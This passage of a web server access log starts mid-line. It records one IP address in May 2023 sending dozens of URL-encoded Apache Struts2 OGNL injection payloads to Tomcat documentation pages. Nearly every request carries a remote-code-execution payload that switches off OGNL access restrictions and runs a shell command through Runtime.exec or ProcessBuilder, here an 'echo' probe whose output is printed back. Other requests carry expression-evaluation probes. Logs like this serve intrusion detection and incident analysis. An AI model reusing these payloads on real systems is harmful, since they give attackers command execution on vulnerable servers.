a%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:48 +0530] "GET /docs/comments.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:49 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:49 +0530] "GET /docs/comments.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1060
222.186.180.34 - - [26/May/2023:06:03:50 +0530] "GET /docs/comments.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2056
222.186.180.34 - - [26/May/2023:06:03:51 +0530] "GET /docs/comments.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2056
222.186.180.34 - - [26/May/2023:06:03:52 +0530] "GET /docs/comments.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:53 +0530] "GET /docs/comments.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1760
222.186.180.34 - - [26/May/2023:06:03:54 +0530] "GET /docs/comments.html?redirect%3A%24%7B1462035%2B6717052%7D HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:55 +0530] "GET /docs/comments.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:56 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:57 +0530] "GET /docs/comments.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:58 +0530] "GET /docs/comments.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1444
222.186.180.34 - - [26/May/2023:06:03:59 +0530] "GET /docs/comments.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1680
222.186.180.34 - - [26/May/2023:06:04:00 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:04:00 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:04:01 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:04:02 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:04:03 +0530] "GET /docs/comments.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:04:04 +0530] "GET /docs/comments.html/%24%7B1361843%2B8845812%7D/index.action HTTP/1.0" 404 1110
222.186.180.34 - - [26/May/2023:06:04:05 +0530] "GET /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:04:08 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:09 +0530] "GET /docs/deployer-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:11 +0530] "GET /docs/deployer-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:12 +0530] "GET /docs/deployer-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:13 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:15 +0530] "GET /docs/deployer-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1072
222.186.180.34 - - [26/May/2023:06:04:16 +0530] "GET /docs/deployer-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2068
222.186.180.34 - - [26/May/2023:06:04:17 +0530] "GET /docs/deployer-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2068
222.186.180.34 - - [26/May/2023:06:04:18 +0530] "GET /docs/deployer-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:19 +0530] "GET /docs/deployer-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1772
222.186.180.34 - - [26/May/2023:06:04:20 +0530] "GET /docs/deployer-howto.html?redirect%3A%24%7B5611878%2B5579807%7D HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:21 +0530] "GET /docs/deployer-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:23 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:24 +0530] "GET /docs/deployer-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:37 +0530] "GET /docs/deployer-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1456
222.186.180.34 - - [26/May/2023:06:04:38 +0530] "GET /docs/deployer-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1692
222.186.180.34 - - [26/May/2023:06:04:39 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:40 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:41 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:47 +0530] "POST /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:48 +0530] "GET /docs/deployer-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:49 +0530] "GET /docs/deployer-howto.html/%24%7B8175449%2B2509917%7D/index.action HTTP/1.0" 404 1122
222.186.180.34 - - [26/May/2023:06:04:50 +0530] "GET /docs/deployer-howto.html HTTP/1.0" 200 22690
222.186.180.34 - - [26/May/2023:06:04:53 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:04:55 +0530] "GET /docs/manager-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:04:57 +0530] "GET /docs/manager-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:04:59 +0530] "GET /docs/manager-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:01 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:02 +0530] "GET /docs/manager-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:05:03 +0530] "GET /docs/manager-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2066
222.186.180.34 - - [26/May/2023:06:05:06 +0530] "GET /docs/manager-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2066
222.186.180.34 - - [26/May/2023:06:05:07 +0530] "GET /docs/manager-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:08 +0530] "GET /docs/manager-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1770
222.186.180.34 - - [26/May/2023:06:05:09 +0530] "GET /docs/manager-howto.html?redirect%3A%24%7B4539231%2B7051562%7D HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:11 +0530] "GET /docs/manager-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:12 +0530] "POST /docs/manager-howto.html HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:14 +0530] "GET /docs/manager-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 72734
222.186.180.34 - - [26/May/2023:06:05:16 +0530] "GET /docs/manager-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1454
